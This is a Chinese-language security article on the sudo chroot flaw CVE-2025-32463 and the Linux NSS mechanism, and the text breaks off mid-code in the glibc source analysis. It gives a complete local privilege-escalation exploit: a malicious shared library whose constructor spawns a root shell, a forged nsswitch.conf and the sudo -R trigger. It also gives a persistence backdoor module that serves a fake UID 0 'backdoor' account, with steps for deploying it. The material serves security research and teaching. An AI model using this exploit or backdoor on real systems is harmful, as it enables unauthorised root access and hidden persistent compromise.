赵姐是我永远的偶像！

0x01 从一个漏洞说起

2025 年 6 月 30 日，一个编号为 CVE-2025-32463 的 sudo 漏洞被公开披露，CVSS 评分 9.8（严重）。这个漏洞的特殊之处在于：任何本地普通用户，即使不在 sudoers 列表中，也能直接获取 root 权限。

不需要 0day，不需要复杂利用链，只需要几行命令。

漏洞的核心利用对象，是一个大多数运维人员从未关注过的配置文件——/etc/nsswitch.conf。

攻击者只需在可控目录下伪造一份 nsswitch.conf，指向一个恶意编译的 libnss_*.so.2 共享库，然后通过 sudo -R（chroot）触发加载。由于 sudo 在 chroot 后、降权前读取这份伪造的配置文件，恶意库便以 root 身份被 dlopen() 加载并执行构造函数——一个 root shell 就这样诞生了。

整个过程可以简化为：

mkdir -p /tmp/evil/{etc,lib}
echo 'passwd: files myevil' > /tmp/evil/etc/nsswitch.conf
gcc -shared -fPIC -o /tmp/evil/lib/libnss_myevil.so.2 payload.c
sudo -R /tmp/evil id

是的，就这么简单。在 Ubuntu 24.04、Fedora 41、Debian、RHEL、Arch、WSL 2 等几乎所有主流 Linux 环境上均默认可用。

这个漏洞把一个长期被忽视的系统机制推到了聚光灯下：NSS（Name Service Switch）。它不仅是一个"无聊的配置文件"，更是一个天然的代码执行入口。一旦被攻击者利用，它可以成为权限提升的跳板，也可以成为长期潜伏的后门。

本文将从 NSS 机制原理出发，深入剖析 NSS 后门的技术细节，涵盖从原理到实战、从攻击到防御的完整知识体系。

漏洞复现

环境要求：

• Docker 镜像：https://hub.docker.com/r/y4ney/cve-2025-32463-lab

• sudo 版本：1.9.14 ~ 1.9.17（可通过 sudo --version 确认）

• 当前用户：任意普通用户，无需 sudo 权限

• 依赖：gcc 编译器

⚠️ 以下内容仅供安全研究与授权测试使用，请勿用于非法用途。

Step 1：确认 sudo 版本

sudo --version

Step 2：创建一个无 sudo 权限的普通用户

为了更真实地模拟攻击场景，我们先创建一个不具备任何 sudo 权限的普通用户：

# 以 root 身份执行
useradd -m -s /bin/bash testuser
passwd testuser

验证该用户不在 sudoers 中：

su - testuser
sudo -l

后续所有操作均以 testuser 身份进行。

Step 3：创建工作目录

WORKDIR=$(mktemp -d)
cd$WORKDIR

Step 4：编写恶意 NSS 模块

创建 evil.c：

#include<stdlib.h>
#include<unistd.h>
__attribute__((constructor))
voidpwn(void){
    setreuid(0, 0);
    setregid(0, 0);
    chdir("/");
    execl("/bin/bash", "bash", NULL);
}

这段代码的关键在于 __attribute__((constructor))——它使得 pwn() 函数在共享库被 dlopen() 加载时自动执行，无需任何显式调用。函数内部通过 setreuid(0,0) 和 setregid(0,0) 将当前进程的 UID/GID 提升为 0（root），随后弹出一个 root shell。

Step 5：搭建伪造 chroot 环境

mkdir -p nop/etc
mkdir -p libnss_
echo"passwd: /nop" > nop/etc/nsswitch.conf
cp /etc/group nop/etc/

这里有几个要点：

• nsswitch.conf 中 passwd: 后写的 /nop，NSS 会按规则拼接为 libnss_/nop.so.2。由于 /nop 以 / 开头，libnss_ 实际上变成了一个目录名，因此需要 mkdir -p libnss_ 创建这个目录，再将编译好的 nop.so.2 放入其中

• 复制 /etc/group 是为了让 getgrnam() 调用不至于直接失败

Step 6：编译恶意共享库

gcc -shared -fPIC -Wl,-init,pwn -o libnss_/nop.so.2 evil.c

Step 7：触发漏洞

sudo -R nop id
# -R nop：chroot 到 nop 目录
# id：要执行的命令（无需存在，NSS 加载阶段就已触发，不会真正执行到这里）

此时 sudo 执行流程如下：

sudo -R nop id
  │
  ├─ chroot("nop")           ← 切换根目录到攻击者可控的 nop/
  │
  ├─ 读取 nop/etc/nsswitch.conf   ← 加载伪造配置
  │
  ├─ 解析 "passwd: /nop"          ← 尝试加载 libnss_/nop.so.2
  │
  ├─ dlopen("libnss_/nop.so.2")   ← 以 root 身份加载恶意库
  │
  └─ pwn() 构造函数执行            ← setreuid(0,0) → root shell

如果漏洞利用成功，将直接进入一个 root shell：

Step 8：清理

rm -rf $WORKDIR

漏洞根因

这个漏洞的根源在于 sudo 对 -R（--chroot）选项的处理时序存在缺陷：

1. sudo 是一个 setuid root 二进制文件，启动时拥有 root 权限

2. 从 sudo 1.9.14 开始，-R 选项会在策略评估阶段就执行 chroot()

3. chroot 之后，sudo 仍以 root 身份调用 getpwuid() 等函数进行用户身份查询

4. 这些函数内部通过 NSS 机制读取 chroot 内的 /etc/nsswitch.conf

5. 攻击者完全控制 chroot 内的文件，从而注入恶意 NSS 模块

6. 恶意模块在权限降低之前就已执行

简而言之：sudo 在一个攻击者可控的环境中，以 root 身份加载了攻击者指定的代码。

该漏洞已在 sudo 1.9.17p1 中修复，修复方式是回退了 1.9.14 中引入的 chroot 相关变更，并将 chroot 功能标记为 deprecated（已弃用），将在未来版本中完全移除。原因是该功能本身不被广泛使用，且由于 sudo 解析命令的方式，支持用户指定的 chroot 目录容易出错。

虽然漏洞已经修复了，但是关于 NSS 后门的相关探索还没开始，接下来我们将一点一点探索。

本文 PDF 版本下载地址： https://github.com/Just-Hack-For-Fun/papers

0x02 NSS 介绍

NSS，全称 Name Service Switch（名称服务切换），是 Linux/Unix 系统中用于控制"各类名称信息如何解析"的机制。

通俗地说，当系统需要回答这些问题时：

• "用户 alice 的 UID 是多少？"

• "www.example.com 的 IP 地址是什么？"

• "80 端口对应什么服务？"

• "用户 alice 属于哪些组？"

背后都是 NSS 在决定去哪里查、按什么顺序查。

配置文件：/etc/nsswitch.conf

NSS 的行为由 /etc/nsswitch.conf 控制。一个典型的配置文件如下：

passwd:     files systemd
group:      files systemd
shadow:     files
hosts:      files dns mdns4_minimal [NOTFOUND=return] dns
networks:   files
protocols:  files
services:   files
ethers:     files

每一行的格式为：

<数据库>: <数据源1> [数据源2] [数据源3] ...

系统会从左到右依次查询，直到找到结果或全部尝试完毕。

数据库列表

以下为 glibc 支持的用户可见数据库列表（来源：man nsswitch.conf 及 glibc 源码 nss/databases.def）：

说明：glibc 内部还定义了 passwd_compat、group_compat、shadow_compat 三个伪数据库，用于 compat 模式下的 NIS 查询，普通用户无需关心，因此未列入上表。

此外，一些应用程序会扩展自己的 NSS 数据库。例如 sudo 使用 sudoers 数据库，subuid(5) / subgid(5) 使用 subid 数据库。glibc 会忽略未知的数据库名，而第三方程序可以自行解析。

常见数据源

与数据库不同，数据源列表不是固定的。NSS 的数据源完全取决于系统上安装了哪些 libnss_*.so.2 共享库——每安装一个共享库，就多一个可用的数据源。

我们可以通过查看系统上的库文件来确认当前可用的数据源：

find / -name 'libnss_*.so*' -type f 2>/dev/null

Ubuntu Server 24.04 系统上默认有 5 个 NSS 库，对应 5 个数据源。其中 4 个来自 glibc 内置，另外 1 个 libnss_systemd.so.2 来自 systemd 包。如果安装了 libnss-ldap 包，就会多出 libnss_ldap.so.2，数据源列表也随之增长。

可以通过 dpkg -S 确认每个库所属的软件包：

libnss_compat.so.2   → libc6 (glibc)
libnss_dns.so.2      → libc6 (glibc)
libnss_files.so.2    → libc6 (glibc)
libnss_hesiod.so.2   → libc6 (glibc)
libnss_systemd.so.2  → libnss-systemd

以下是 glibc 内置的标准数据源（共 4 个，均来自 libc6 包）：

以下为常见的第三方扩展数据源（需额外安装对应软件包）：

这种"共享库即数据源"的设计，正是 NSS 后门得以实现的基础——攻击者只需提供一个自定义的 libnss_*.so.2，就能让系统加载并执行任意代码。

为什么是 .so.2 而不是 .so？

如果阅读过《程序员的自我修养》这本书，一定对这部分内容不陌生

所有 NSS 库文件名都以 .so.2 结尾，而不是常见的 .so。这里的 .2 是共享库的 SONAME 版本号，代表 ABI（应用二进制接口）的兼容版本。

man nsswitch.conf 中有明确说明：

Libraries called /lib/libnss_SERVICE.so.X will provide the named SERVICE. The version number X may be 1 for glibc 2.0, or 2 for glibc 2.1 and later.

glibc 在内部通过 dlopen() 加载 NSS 模块时，硬编码查找的就是 libnss_xxx.so.2。这意味着：

• 攻击者构造恶意库时，文件名必须是 libnss_xxx.so.2，而不能是 libnss_xxx.so

• 这也是为什么在前面漏洞复现的编译步骤中，输出文件名必须带 .so.2 后缀

一个具体的例子

当执行 ping www.example.com 时，系统内部实际的解析流程是：

ping www.example.com
  │
  └─ gethostbyname("www.example.com")    ← glibc 函数调用
       │
       └─ NSS 读取 /etc/nsswitch.conf 中 hosts 行
            │
            │  hosts: files dns mdns4_minimal
            │
            ├─ 先查 files → /etc/hosts 中有没有？没有则继续
            │
            └─ 再查 dns  → 发起 DNS 查询 → 获得 93.184.216.34

可以看到，NSS 作为一个中间层，连接了上层的 glibc 函数调用（如 gethostbyname、getpwnam）和底层的各种数据源（本地文件、DNS、LDAP 等）。

动态加载机制：关键所在

NSS 最关键的设计在于：每个数据源对应一个共享库文件。

当 NSS 需要查询某个数据源时，它通过 dlopen()动态加载对应的共享库。库文件的命名规则为：

libnss_<数据源名>.so.2

例如：

这意味着：只要能在 nsswitch.conf 中控制数据源名称，就能让系统加载任意的 .so 文件。

这也是 CVE-2025-32463 以及各类 NSS 后门的核心利用点——下一节我们将深入探讨这一点。

0x03 NSS 机制深入

本章源码分析基于 glibc 2.39（Ubuntu 24.04 当前版本），源码获取方式：git clone --branch glibc-2.39 https://sourceware.org/git/glibc.git

3.1 配置文件语法完全解析

/etc/nsswitch.conf 每一行的完整语法为：

<数据库>: <数据源1> [STATUS=ACTION] <数据源2> [STATUS=ACTION] ...

基本元素

• 数据库：第一列，如 passwd、hosts、group 等（0x02 已列出完整列表）

• 数据源：后续每列，如 files、dns、ldap 等

• 条件动作：用方括号 [...] 包裹，紧跟在数据源后面

系统按从左到右的顺序依次查询每个数据源，查询结果会触发对应的条件动作，决定是继续还是停止。

STATUS：查询结果的四种状态

每次 NSS 查询可能返回以下四种状态（定义于 nss/nss.h）。另外，NSS_STATUS_RETURN 是 glibc 内部使用的第五个枚举值，主要用于边界检查和 compat/netgrp 等内部模块的特殊流程控制，第三方 NSS 模块通常不需要返回该状态：

enum nss_status
{
  NSS_STATUS_TRYAGAIN = -2,  // 服务暂时不可用（如文件被锁、服务器繁忙）
  NSS_STATUS_UNAVAIL,        // 服务永久不可用（如文件不存在、服务器离线）
  NSS_STATUS_NOTFOUND,       // 查询成功但未找到目标条目
  NSS_STATUS_SUCCESS,        // 查询成功且找到了目标条目
  NSS_STATUS_RETURN,         // 内部标记值，用于边界检查和终止动作，不由模块返回
};

ACTION：三种响应动作

条件动作语法

[STATUS=ACTION]
[!STATUS=ACTION]

• ! 表示取反：匹配除指定状态外的所有状态

• 大小写不敏感（源码中使用 __strncasecmp 比较）

• 一个方括号内可以写多个条件，用空格分隔

默认行为

如果不写任何 [STATUS=ACTION]，每个数据源使用以下默认动作：

这个默认行为在源码 nss/nss_action_parse.c 中可以清晰看到（第 64-66 行）：

nss_action_set_all (&new_service, NSS_ACTION_CONTINUE);
nss_action_set (&new_service, NSS_STATUS_SUCCESS, NSS_ACTION_RETURN);
nss_action_set (&new_service, NSS_STATUS_RETURN, NSS_ACTION_RETURN);

即：先将所有状态设为 CONTINUE，然后将 SUCCESS 和 RETURN 覆盖为 RETURN。

实际配置示例解读

示例 1：Ubuntu 24.04 实际配置

hosts: files dns

解析流程：

1. 查 files（本地 /etc/hosts）
   - SUCCESS → return（默认：找到了就直接返回）
   - NOTFOUND → continue（默认：没找到继续查 dns）
   - UNAVAIL → continue（默认）
2. 查 dns（DNS 服务器查询）
   - SUCCESS → return（默认）
   - NOTFOUND → return（默认）
   - UNAVAIL → return（默认）

示例 2：带条件动作的配置（常见于安装了 mDNS 的系统）

hosts: files mdns4_minimal [NOTFOUND=return] dns

解析流程：

1. 查 files（本地 /etc/hosts）
   - SUCCESS → return（默认）
   - NOTFOUND → continue（默认）
   - UNAVAIL → continue（默认）
2. 查 mdns4_minimal（mDNS 局域网解析）
   - SUCCESS → return（默认）
   - NOTFOUND → return（显式指定：局域网没找到就放弃，不再查后面的 dns）
   - UNAVAIL → continue（默认）
3. 查 dns（DNS 服务器查询）
   - 作为 mdns4_minimal NOTFOUND 之外情况的后备

示例 3：取反操作符

hosts: dns [!UNAVAIL=return] files

!UNAVAIL=return 的含义是：对除 UNAVAIL 之外的所有状态执行 return。等价于同时写了：

hosts: dns [SUCCESS=return NOTFOUND=return TRYAGAIN=return] files

即：DNS 只要在运行（不管找到没找到），就直接返回结果；只有 DNS 完全不可用时，才回退到 files。

一个关键细节：NOTFOUND 和 UNAVAIL 的区别

在理解 NSS 后门之前，必须搞清楚一个容易混淆的问题。以 passwd 数据库为例：

passwd: files ldap

当查找用户 test1 时，如果 /etc/passwd 中没有这个用户，files 数据源会返回什么状态？

很多人会直觉认为是"没找到"或者"不可用"，但 NSS 对此有精确的区分：

两者的默认动作都是 continue，会继续查下一个数据源。也就是说：

• files 中没找到用户 → 返回 NOTFOUND → continue → 继续查 ldap

• files不可用（文件被删）→ 返回 UNAVAIL → continue → 继续查 ldap

• files 中找到了用户 → 返回 SUCCESS → return → 停止查询，不再查 ldap

这个"NOTFOUND 默认 continue"的行为，正是 NSS 后门的核心前提：攻击者可以在 files 后面追加一个恶意数据源（如 nop），当系统用户查找在 /etc/passwd 中找不到时，查询会自动落到恶意模块上。恶意模块可以返回一个伪造的用户条目（如 UID=0 的后门账户），而合法用户（在 files 中能找到的）完全不受影响。

3.2 源码解析：glibc 如何加载 NSS 模块

本节将从源码层面追踪一个完整的 NSS 查询过程。

先从一个日常场景说起：当你在终端执行 id alice 时，系统需要知道用户 alice 的 UID、GID、所属组等信息。这些信息存储在 /etc/passwd 中，但系统并不是直接读文件——而是通过 glibc 提供的 getpwnam() 函数来查询。

getpwnam("alice") 的含义是："按用户名（passwd name）查找用户信息"。它返回一个 struct passwd 结构体，包含用户名、UID、GID、home 目录、shell 等字段。

许多常见的系统操作都会间接调用这个函数：

而 getpwnam() 正是通过 NSS 机制来决定"去哪里查"。接下来我们就追踪这个调用链。

调用链总览

应用程序: getpwnam("alice")
  │
  └─ glibc: __getpwnam_r("alice", ...)           ← getXXbyYY_r.c 模板展开
       │
       ├─ __nss_passwd_lookup2(&nip, ...)          ← 获取 passwd 数据库的配置
       │    │
       │    └─ __nss_database_get(nss_database_passwd, &actions)  ← nss_database.c
       │         │
       │         └─ nss_database_check_reload_and_get(...)  ← 检查是否需要重新加载配置
       │
       ├─ __nss_lookup_function(nip, "getpwnam_r")  ← nsswitch.c
       │    │
       │    └─ __nss_module_get_function(module, "getpwnam_r")  ← nss_module.c
       │         │
       │         ├─ __nss_module_load(module)       ← 确保 .so 已加载
       │         │    │
       │         │    └─ module_load(module)        ← 实际加载逻辑
       │         │         │
       │         │         ├─ files/dns → 内置模块，直接绑定函数指针
       │         │         └─ 其他 → __libc_dlopen("libnss_xxx.so.2")
       │         │
       │         └─ 从已加载模块中查找 "_nss_files_getpwnam_r" 函数
       │
       └─ 调用 _nss_files_getpwnam_r("alice", ...)  ← 执行实际查询

关键步骤一：读取和解析 nsswitch.conf

当进程首次进行 NSS 查询时，glibc 调用 __nss_database_get()（nss/nss_database.c），该函数内部调用 nss_database_check_reload_and_get()：

检查配置是否变化（nss_database.c 第 409-414 行）：

structfile_change_detectioninitial;
if (!__file_change_detection_for_path (&initial, _PATH_NSSWITCH_CONF))
returnfalse;
__libc_lock_lock (local->lock);
if (__file_is_unchanged (&initial, &local->data.nsswitch_conf))
  {
    *result = local->data.services[database_index];
    __libc_lock_unlock (local->lock);
returntrue;
  }

glibc 通过 stat() 系统调用检测 /etc/nsswitch.conf 的文件元信息（大小、修改时间等）是否变化。如果没变，直接返回缓存的配置。如果变化了，就重新打开文件、逐行解析。

逐行解析（nss_database.c 第 208-237 行）：

staticbool
process_line(struct nss_database_data *data, char *line)
{
// 跳过前导空白
while (isspace (line[0])) ++line;
// 识别 "<database> :" 部分
char *name = line;
while (line[0] != '\0' && !isspace (line[0]) && line[0] != ':') ++line;
// ... 截断冒号和空白 ...
int db = name_to_database_index (name);
if (db < 0)
returntrue;  // 不是 glibc 管理的数据库（如 sudoers），跳过
  nss_action_list result = __nss_action_parse (line);  // 解析数据源列表
  data->services[db] = result;
returntrue;
}

注意第 228-230 行：如果数据库名不在 glibc 已知列表中（如 sudoers），会被静默忽略。

关键步骤二：构造共享库文件名并 dlopen

当查询需要使用某个数据源时，__nss_module_get_function()（nss/nss_module.c 第 323 行）被调用。它先确保模块已加载，然后查找函数指针。

加载模块的核心逻辑（nss_module.c 第 170-189 行）：

staticbool
module_load(struct nss_module *module)
{
// files 和 dns 是内置模块，不走 dlopen
if (strcmp (module->name, "files") == 0)
return module_load_nss_files (module);
if (strcmp (module->name, "dns") == 0)
return module_load_nss_dns (module);
// 其他模块：构造文件名并 dlopen
char *shlib_name;
if (__asprintf (&shlib_name, "libnss_%s.so%s",
module->name, __nss_shlib_revision) < 0)
returnfalse;
  handle = __libc_dlopen (shlib_name);
free (shlib_name);

文件名构造规则（nss_module.c 第 43-44 行）：

staticconstchar *const __nss_shlib_revision
    = LIBNSS_FILES_SO + sizeof("libnss_files.so") - 1;

LIBNSS_FILES_SO 是编译时生成的宏，值为 "libnss_files.so.2"。通过指针偏移提取出 ".2" 部分。然后用 __asprintf 拼接为：

libnss_<数据源名>.so.2

例如数据源名为 files → libnss_files.so.2，数据源名为 ldap → libnss_ldap.so.2。

__libc_dlopen 的搜索路径：

__libc_dlopen 是 glibc 内部版本的 dlopen，它不受LD_LIBRARY_PATH 环境变量影响（出于安全考虑）。它搜索的路径由 /etc/ld.so.cache 和默认路径 /lib/x86_64-linux-gnu/、/usr/lib/x86_64-linux-gnu/ 决定。

加载后查找函数（nss_module.c 第 226-239 行）：

for (size_t idx = 0; idx < array_length (nss_function_name_array); ++idx)
  {
char *function_name;
if (__asprintf (&function_name, "_nss_%s_%s",
module->name, nss_function_name_array[idx]) < 0)
      { /* ... */ }
    pointers[idx] = __libc_dlsym (handle, function_name);
free (function_name);
  }

加载 .so 后，glibc 会立即用 dlsym 查找模块中所有可能的 NSS 函数（如 _nss_files_getpwnam_r、_nss_files_getpwuid_r 等），缓存函数指针。模块不需要导出所有函数，缺失的函数指针为 NULL，查询时会跳过。

关键步骤三：状态机驱动的查询循环

回到查询入口 getXXbyYY_r.c（第 264-345 行），核心循环如下：

no_more = DB_LOOKUP_FCT (&nip, REENTRANT_NAME_STRING, ...);
while (no_more == 0)
  {
    status = DL_CALL_FCT (fct.l, (ADD_VARIABLES, resbuf, buffer, ...));
// 根据 status 和配置中的 [STATUS=ACTION] 决定下一步
    no_more = __nss_next2 (&nip, ..., status, 0);
  }

每次调用一个数据源的函数后，__nss_next2()（nsswitch.c 第 91 行）根据返回的 status 查找配置中对应的 action：

• NSS_ACTION_RETURN → 结束查询，返回当前结果

• NSS_ACTION_CONTINUE → 移动到下一个数据源，继续查询

• NSS_ACTION_MERGE → 合并结果后继续

3.3 源码解析：如何编写一个 NSS 模块

基于对 glibc 源码的分析，本节将总结编写 NSS 模块的通用规范。理解这些规范后，你可以为任意数据库（passwd、hosts、group 等）编写自定义模块。

通用函数命名规则

所有 NSS 模块导出的函数遵循统一的命名规则：

_nss_<数据源名>_<NSS函数名>

其中 <NSS函数名> 来自 glibc 维护的固定列表（定义于 nss/function.def，共 64 个函数）。glibc 在加载模块时会遍历这个列表，用 dlsym 查找每个函数是否存在。

完整的函数列表如下：

endaliasent      getaliasbyname_r   getaliasent_r     setaliasent
endetherent      getetherent_r      gethostton_r      getntohost_r      setetherent
endgrent         getgrent_r         getgrgid_r        getgrnam_r        setgrent
endhostent       gethostbyaddr_r    gethostbyaddr2_r  gethostbyname_r   gethostbyname2_r
                 gethostbyname3_r   gethostbyname4_r  gethostent_r      sethostent
                 getcanonname_r
endnetent        getnetbyaddr_r     getnetbyname_r    getnetent_r       setnetent
endnetgrent      getnetgrent_r      setnetgrent
endprotoent      getprotobyname_r   getprotobynumber_r getprotoent_r    setprotoent
endpwent         getpwent_r         getpwnam_r        getpwuid_r        setpwent
endrpcent        getrpcbyname_r     getrpcbynumber_r  getrpcent_r       setrpcent
endservent       getservbyname_r    getservbyport_r   getservent_r      setservent
endsgent         getsgent_r         getsgnam_r        setsgent
endspent         getspent_r         getspnam_r        setspent
                 getpublickey       getsecretkey
                 initgroups_dyn     netname2user

一个模块不需要导出所有 64 个函数。glibc 会用 dlsym 逐个查找，找不到的函数指针置为 NULL，查询时自动跳过。模块只需实现自己关心的数据库对应的函数子集。

按数据库分组的函数子集

为了更直观地理解，我们将 64 个函数按数据库分组：

passwd 数据库（用户信息）：

group 数据库（用户组信息）：

hosts 数据库（主机名解析）：

可以看到，不同数据库的函数数量和复杂度差异很大。passwd 最简单（5 个函数），hosts 最复杂（10 个函数）。一个最小化的模块通常只实现其中的 1-2 个查询函数即可。

通用返回值约定

所有 NSS 查询函数（无论哪个数据库）都返回 enum nss_status（nss/nss.h）：

enum nss_status
{
  NSS_STATUS_TRYAGAIN = -2,  // 临时失败（如缓冲区太小）
  NSS_STATUS_UNAVAIL,        // 服务不可用
  NSS_STATUS_NOTFOUND,       // 查询完成但未找到
  NSS_STATUS_SUCCESS,        // 查询成功
};

通用参数约定

所有查询函数都遵循相同的参数模式：

enum nss_status
_nss_xxx_getXXbyYY_r (<查询参数>,
                      <结果结构体> *result,
char *buffer,
size_t buflen,
int *errnop)

• 查询参数：因数据库而异（如 passwd 是 const char *name 或 uid_t uid，hosts 是 const char *hostname）

• result：输出参数，结构体类型因数据库而异（struct passwd、struct hostent、struct group 等）

• buffer：调用方提供的缓冲区，用于存放 result 中指针所指向的字符串数据

• buflen：缓冲区大小

• errnop：错误码输出，ERANGE 表示缓冲区太小

libnss_files 源码分析（以 passwd 为例）

理解了命名规则和调用约定后，我们来看 glibc 官方模块的完整执行流程。以 passwd 数据库为例，当应用程序调用 getpwnam("alice") 时，经过 3.2 节分析的 NSS 框架层后，最终会调用到 libnss_files.so.2 中的 _nss_files_getpwnam_r 函数。

这个函数从哪里来？

nss/nss_files/files-pwd.c 整个文件只有约 45 行：

#include<pwd.h>
#include<nss.h>
#define STRUCTURE  passwd
#define ENTNAME    pwent
#define DATABASE   "passwd"
structpwent_data {};
#define EXTERN_PARSER
#include"files-parse.c"
#include GENERIC
DB_LOOKUP (pwnam, '.', 0, ("%s", name),
           {
if (name[0] != '+' && name[0] != '-'
                 && ! strcmp (name, result->pw_name))
break;
           }, constchar *name)
DB_LOOKUP (pwuid, '=', 20, ("%lu", (unsignedlongint) uid),
           {
if (result->pw_uid == uid && result->pw_name[0] != '+'
                 && result->pw_name[0] != '-')
break;
           }, uid_t uid)

代码很短，但信息量很大。先看前半部分的宏定义和 include：

• STRUCTURE passwd → 结果结构体类型为 struct passwd

• DATABASE "passwd" → 数据文件路径为 /etc/passwd（由 files-XXX.c 中 #define DATAFILE "/etc/" DATABASE 拼接）

• ENTNAME pwent → 用于拼接函数名（如 _nss_files_setpwent、_nss_files_endpwent）

• #include "files-parse.c" → 引入行解析器，负责将 /etc/passwd 的每一行文本解析为 struct passwd

• #include GENERIC（展开为 files-XXX.c）→ 引入通用框架，提供 setpwent/endpwent/getpwent_r 等函数，以及 DB_LOOKUP 宏定义

再看后半部分的 DB_LOOKUP 调用。DB_LOOKUP 是定义在 files-XXX.c 中的一个宏，它是一个函数生成器，通过 C 预处理自动生成完整的查询函数。宏定义如下：

#define DB_LOOKUP(name, db_char, keysize, keypattern, break_if_match, proto...)\
enum nss_status                                                                 \
_nss_files_get##name##_r (proto,                                                \
                          struct STRUCTURE *result, char *buffer,                \
                          size_t buflen, int *errnop)                            \
{                                                                               \
  enum nss_status status;                                                       \
  FILE *stream = NULL;                                                          \
  status = internal_setent (&stream);                                           \
if (status == NSS_STATUS_SUCCESS)                                             \
    {                                                                           \
      while ((status = internal_getent (stream, result, buffer, buflen, errnop))\
             == NSS_STATUS_SUCCESS)                                             \
        { break_if_match }                                                      \
      fclose (stream);                                                          \
    }                                                                           \
  return status;                                                                \
}

以 DB_LOOKUP(pwnam, ...) 为例，参数对应关系为：

展开过程中有三个关键机制：

1. ##name## 标记粘合（token pasting）：C 预处理将 _nss_files_get + pwnam + _r 拼成一个标识符 _nss_files_getpwnam_r

2. proto... 变长宏参数：const char *name 原样展开到函数参数列表的第一个位置

3. STRUCTURE 宏替换：files-pwd.c 开头定义了 #define STRUCTURE passwd，所以 struct STRUCTURE 变成 struct passwd

展开后的完整函数如下：

enum nss_status
_nss_files_getpwnam_r (constchar *name,
                       struct passwd *result,
char *buffer,
size_t buflen,
int *errnop)
{
enum nss_status status;
    FILE *stream = NULL;
    status = internal_setent (&stream);
if (status == NSS_STATUS_SUCCESS)
    {
while ((status = internal_getent (stream, result, buffer, buflen, errnop))
               == NSS_STATUS_SUCCESS)
        {
if (name[0] != '+' && name[0] != '-'
                && ! strcmp (name, result->pw_name))
break;
        }
        fclose (stream);
    }
return status;
}

完整的执行流程如下：

_nss_files_getpwnam_r("alice", ...)
  │
  ├─ 1. internal_setent(&stream)
  │     ├─ 调用 __nss_files_fopen(DATAFILE)
  │     │   DATAFILE = "/etc/" + DATABASE = "/etc/passwd"
  │     ├─ 打开成功 → 返回 NSS_STATUS_SUCCESS
  │     └─ 打开失败（文件不存在）→ 返回 NSS_STATUS_UNAVAIL
  │
  ├─ 2. internal_getent(stream, result, buffer, ...)    ← 循环调用
  │     ├─ __nss_readline() 从文件读取一行文本
  │     │   ├─ 文件结束 → 返回 NSS_STATUS_NOTFOUND
  │     │   └─ 读取成功 → 继续
  │     ├─ parse_line() 将文本行解析为 struct passwd
  │     │   例：将 "root:x:0:0:root:/root:/bin/bash" 解析为
  │     │   result->pw_name="root", pw_uid=0, pw_gid=0, ...
  │     │   ├─ 解析成功 → 返回 NSS_STATUS_SUCCESS
  │     │   └─ 格式错误 → 跳过此行，读下一行
  │     └─ 返回 NSS_STATUS_SUCCESS（一条记录已解析到 result 中）
  │
  ├─ 3. 匹配检查（break_if_match）
  │     比较 name("alice") 与 result->pw_name
  │     ├─ 匹配 → break 跳出循环，返回 NSS_STATUS_SUCCESS
  │     └─ 不匹配 → 继续下一次 internal_getent
  │
  └─ 4. fclose(stream) → 返回最终 status

用一句话总结：打开文件 → 逐行读取并解析 → 逐条匹配 → 找到则返回成功，遍历完毕未找到则返回 NOTFOUND。

类似地，DB_LOOKUP(pwuid, ...) 展开为 _nss_files_getpwuid_r，按 UID 查找，流程完全一致，只是匹配条件变为 result->pw_uid == uid。

其他数据库的模块（如 files-hosts.c、files-grp.c）结构也完全一致，只是 STRUCTURE、DATABASE 宏不同，解析器和匹配逻辑不同。例如 files-hosts.c 定义 DATABASE "hosts"，因此打开的是 /etc/hosts，解析出的结构体是 struct hostent。

最小化 NSS 模块模板（passwd 数据库）

基于以上规范，以下是一个最小化的 NSS 模块示例——为 passwd 数据库添加一个伪造的 backdoor 用户（UID=0）：

#include<nss.h>
#include<pwd.h>
#include<string.h>
#include<errno.h>
enum nss_status
_nss_nop_getpwnam_r (constchar *name,
                     struct passwd *result,
char *buffer,
size_t buflen,
int *errnop)
{
if (strcmp(name, "backdoor") != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
    {
        *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
    }
strcpy(buffer, "backdoor");
    result->pw_name = buffer;
strcpy(buffer + strlen("backdoor") + 1, "x");
    result->pw_passwd = buffer + strlen("backdoor") + 1;
    result->pw_uid = 0;
    result->pw_gid = 0;
strcpy(buffer + strlen("backdoor") + 2, "/root");
    result->pw_dir = buffer + strlen("backdoor") + 2;
strcpy(buffer + strlen("backdoor") + 2 + strlen("/root") + 1, "/bin/bash");
    result->pw_shell = buffer + strlen("backdoor") + 2 + strlen("/root") + 1;
    result->pw_gecos = buffer + strlen("backdoor") + 2;
return NSS_STATUS_SUCCESS;
}

编译和部署：

# 编译
gcc -shared -fPIC -o libnss_nop.so.2 nss_nop.c
# 部署到系统目录
sudo cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/
# 修改 nsswitch.conf
# 将 passwd 行改为：passwd: files nop

验证方法：执行 id backdoor，如果模块工作正常，应返回 uid=0(root) gid=0(root)。

编写其他数据库模块的要点

上面的示例只实现了 passwd 数据库的 getpwnam_r。如果你要为其他数据库编写模块，核心差异在于：

1. 结果结构体不同：passwd → struct passwd，hosts → struct hostent，group → struct group

2. 查询参数不同：passwd → const char *name，hosts → const char *hostname + int af

3. 头文件不同：<pwd.h>、<netdb.h>、<grp.h> 等

4. 需要实现的函数不同：根据上文的"按数据库分组的函数子集"选择

例如，如果要为 hosts 数据库编写一个劫持模块，你需要实现 _nss_nop_gethostbyname_r，返回类型是 struct hostent，这在后续的 NSS 后门实战章节中会详细展开。

3.4 配置文件修改后的生效机制

这个问题对于理解 NSS 后门的持久化能力至关重要：修改 nsswitch.conf 后，是否需要重启进程？

源码层面的答案

通过分析 nss_database.c 中的 nss_database_check_reload_and_get() 函数（第 392-475 行），glibc 的行为是：

1. 每次 NSS 查询时，先 stat() 检查 /etc/nsswitch.conf 是否变化

2. 如果文件未变化（大小和 mtime 一致），直接返回缓存的配置

3. 如果文件已变化，重新打开文件、逐行解析、更新缓存

关键代码（第 410-421 行）：

if (!__file_change_detection_for_path (&initial, _PATH_NSSWITCH_CONF))
returnfalse;
__libc_lock_lock (local->lock);
if (__file_is_unchanged (&initial, &local->data.nsswitch_conf))
  {
    *result = local->data.services[database_index];
    __libc_lock_unlock (local->lock);
returntrue;
  }

这意味着：修改 nsswitch.conf 后，不需要重启已有进程。 进程在下一次进行 NSS 查询时，会自动检测到文件变化并重新加载配置。

但有一个重要的例外：容器检测

nss_database.c 第 423-447 行有一段特殊逻辑：检测根目录 / 的 inode 和 device 是否变化。如果变化了（说明进程进入了容器，如 chroot），则永久禁用配置重新加载：

int stat_rv = __stat64_time64 ("/", &str);
if (local->data.services[database_index] != NULL)
  {
if (stat_rv != 0
